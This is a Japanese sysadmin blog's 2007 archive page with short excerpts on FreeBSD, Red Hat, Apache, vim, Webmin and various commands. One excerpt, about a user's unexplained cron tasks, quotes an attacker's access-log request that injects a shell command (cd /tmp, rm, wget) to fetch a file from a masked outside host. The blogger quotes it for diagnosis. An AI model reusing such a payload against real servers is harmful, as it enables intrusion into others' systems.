2007-01-01から1年間の記事一覧

なんとなく emacs を触ってみたのですが、不慣れな私からするとエディタというよりも拷問装置のような印象を受けました。世のハッカーはこれを使いこなしているというのか……。 思い返してみれば、10年前に初めて vi に触った時にも(曖昧な記憶ながら)今回と…

FreeBSD なサーバで、php5-mysql をインストールしようとしたら怒られた。 Cannot find autoconf. Please check your autoconf installation and the $PHP_AUTOCONF environment variable is set correctly and then rerun this script. エラーメッセージで…

vim7をインストールした。

vim

レガシ環境の実験サーバとして、 Red Hat Linux 7.3 なサーバを一台持っているけど、他の個人サーバと微妙に勝手違うなぁとか思いつつも気にしなかったけど、仕事が暇になると途端にその辺が気になった。そんなわけで、手始めとして vim 6.1 しかインストー…

softupdatesの注意点

そういや、 softupdates を適用するときに考えるべき事ってなんだっけとか、そんな事をふと思ったので調べてみた。 man tuning には、次のようにある。 大部分のファイルシステムで softupdates を有効にすることを推奨します。しかしながら、ファイルシステ…

RHEL 系での DirectoryIndex

すごく些細なことだけど、 RHEL 系の Linux で公式 RPM の Apache2 をインストールした場合、 httpd.conf では conf.d/*conf を Include した後に DirectoryIndex の記述がされている。つまりは、 conf.d 以下で DirectoryIndex が記述されてた場合、httpd.c…

うむむ、ドメイン回りについてはまだ RFC の内容や、実装や、関連コマンドの使い方や、トラブルシュートなどの知識やスキルがまだまだ乏しいなぁと痛感させられる出来事があった。 くやしいのうwwwくやしいのうwwwwww というワケで、自分に m9 RFC …

「 cron に心当たりの無いタスクが><」という問い合わせをユーザから受けたので調べてみた。ピンと来てウェブサーバのアクセスログ調べたら、3秒で原因判明。 /***/***/index.php?_REQUEST=http://******.co.kr/tool25.txt?&cmd=cd%20/tmp;rm%20bot.txt;wg…

毒は吐きたくないんだけれども。 root 欲しくて専用サーバ借りたんなら、サーバ屋に泣きつかないで下さい。 「なんか変なんで調べてください」「動き変だったからアンインストールしました」帰れ!

RPMパッケージでインストールしたファイルの権限修正

chmod -R 777 /とか仮にやってしまったとして、Red Hat 系 Linux ではそれを修正できんのかなぁとか思って調べてみた。 RPM は、インストールしたパッケージの情報やファイルリストや mtime なんかをパッケージデータベースとして持ってるので、クエリオプシ…

削除したファイル修復できるの?

rm コマンドで削除はしたけど、なんらかのプロセスがファイルディスクリプタを握りっぱなしで、i-node もわかってるという状況で、FreeBSD で削除ファイルを復旧させる事ってできるんですかね? Linux なら、/proc//fd/ディスクリプタ番号?> から復旧させる…

system-switch-mta コマンド

system-switch-mta(-nox)は、/usr/sbin/sendmail が /etc/alternatives/mta へのシンボリックリンクになっているかまではチェックしてくれない。 つまりは、/usr/sbin/sendmail を /var/qmail/bin/sendmail なんかへのリンクに変更してあったとしたら、syste…

ネットワークインターフェースの alias

man rc.conf によると、 network_interfaces (文字列) このホスト上で設定するネットワークインタフェースのリ ストを設定します。たとえば、システムのネットワークデバイスが ループバックデバイス (lo0) と ed(4) ドライバを使用する NIC だ けであるなら…

たまたまではあるが、いわゆる著名なGeekな方との、ほんのちょっとした接点ができた。 インターネット屋につとめる能力的に中途半端すぎる私としては、頑張って食いついて、自分を高めることができればよいなぁと思う。

perl-libwww-perl を導入した。

会社のサーバでは /usr/bin/GET コマンドが使えるんだけども、私の実験機では使えないのが前々から不満ではあったけど、無いと仕事できない><とかいうようなレベルでも無かったので放置していた事をふっと思い出してしまったので、この機会に導入してみた…

2006年5月頃に、中国が日本のメールサーバへのアクセスをアレコレしちゃってメールの送受信が怪しくなった事がありましたが、あれってその後どうなったんだっけ? なんか、最近同様の話をチラホラ耳にし始めて気になりつつある。教えてエロい人!とかダイア…

復旧依頼。 LOG: could not translate host name "localhost", service "5432" to address: Name or service not known WARNING: could not create listen socket for "localhost" FATAL: could not create any TCP/IP socketsヤレヤレ。 /etc/hosts ファイ…

client denied by server configuration

Ports で Apache 2.2.x がインストールされた FreeBSD マシンで SSL サーバの設定。鼻歌交じりで適当に「こんなもんじゃろ?」とか楽勝気分で設定をしてみて、テストページを表示しようとしたら Forbidden 。 「なんでよ?なんでよ?」とか悩みつつログを見…

エディタ

m9

エディタで、emacs と言えばその道のプロの人が使うものであって、vim は emacs を使いこなせないお子様が使うモノだと思っていたのだけども、最近の hotentry とかみると、emacs と vim は双璧っぽい扱いで……。いいの?私?vim 使いのままでいいの?emacs …

ボケ老人のように同じ事をあえて書くけど、半可通鯖管はなぜ Webmin を止めたがるんだぜ?インターネット屋さんをやってきた中での印象っつーと、 タコ鯖管:Webmin でしかサーバ操作できない。 半可通:Webmin を止めてから、sshd やパケットフィルタの設定…

どうでもいいけど、なんで管理してるサーバの Webmin 止めちゃうかなー。 不要なプロセス止めてリソース確保とか、不用意にデーモン立ち上げないとか、そういう理屈はわかるけど、Webmin は動かしてても良いんじゃないかなぁ。Webmin とパケットフィルタの両…

tail コマンドの -n (--lines) オプションは省略可能

m9

……という事を、今日知りました。

EoL でアレな FreeBSD4.x の Ports とか。

ports-supfile の *default release=cvs tag=. を *default release=cvs tag=RELEASE_4_EOL とかやれば、EoL を迎えた時点の Ports を取得できそうな?

SMTP AUTH + submission port の設定で敗北。

FreeBSD 標準の sendmail を SASL2 対応すべく、ビルドしなおしてインストールしてみたが、なんかうまくいってないっぽい。 原因追求するのが面倒臭かったので、ports から sendmail-sasl をインストールするという逃げ道に走ってしまった。敗北主義者m9(^Д^…

Debian の .deb パッケージは ar + tgz

Debian なんて普段触らないからわかんないと言うか知らないよ。 dpkg コマンドを使わずにアレコレしたくて同僚に質問して、発言力をちょっぴり消費してしまった。

pkill コマンド

なにこれ、こんな便利なコマンドあったの?これ使えばユーザ設置の暴走 cgi のプロセスとか一網打尽だよ! うわ、これまで awk とパイプとかで処理してたよ。 そんな事も知らなかった自分が恥ずかしくて赤面しそう!m9(^Д^)プギャーーーッ 元々は Sun Solaris 7 …

shred コマンド

http://www.linux.or.jp/JM/html/gnumaniak/man1/shred.1.html へぇ、こんなコマンドもあるんだなー。dd とかと組み合わせて、ディスク破棄前のクリンナップとかに使えそうな感じ。 まだまだ知らないコマンドや操作がいろいろある。うすぼんやりとサーバを扱…

mod_limitipconn 導入。

同時接続制限用モジュールである、 mod_limitipconn を導入してみた。 DSO 版のインストールは、ダウンロードしたソースコードを展開して make するだけと、とても簡単。Apache の 1.3.x 用と 2.0.x 用のソースコードの二つがあるようで、 2.2.x も、2.0.x …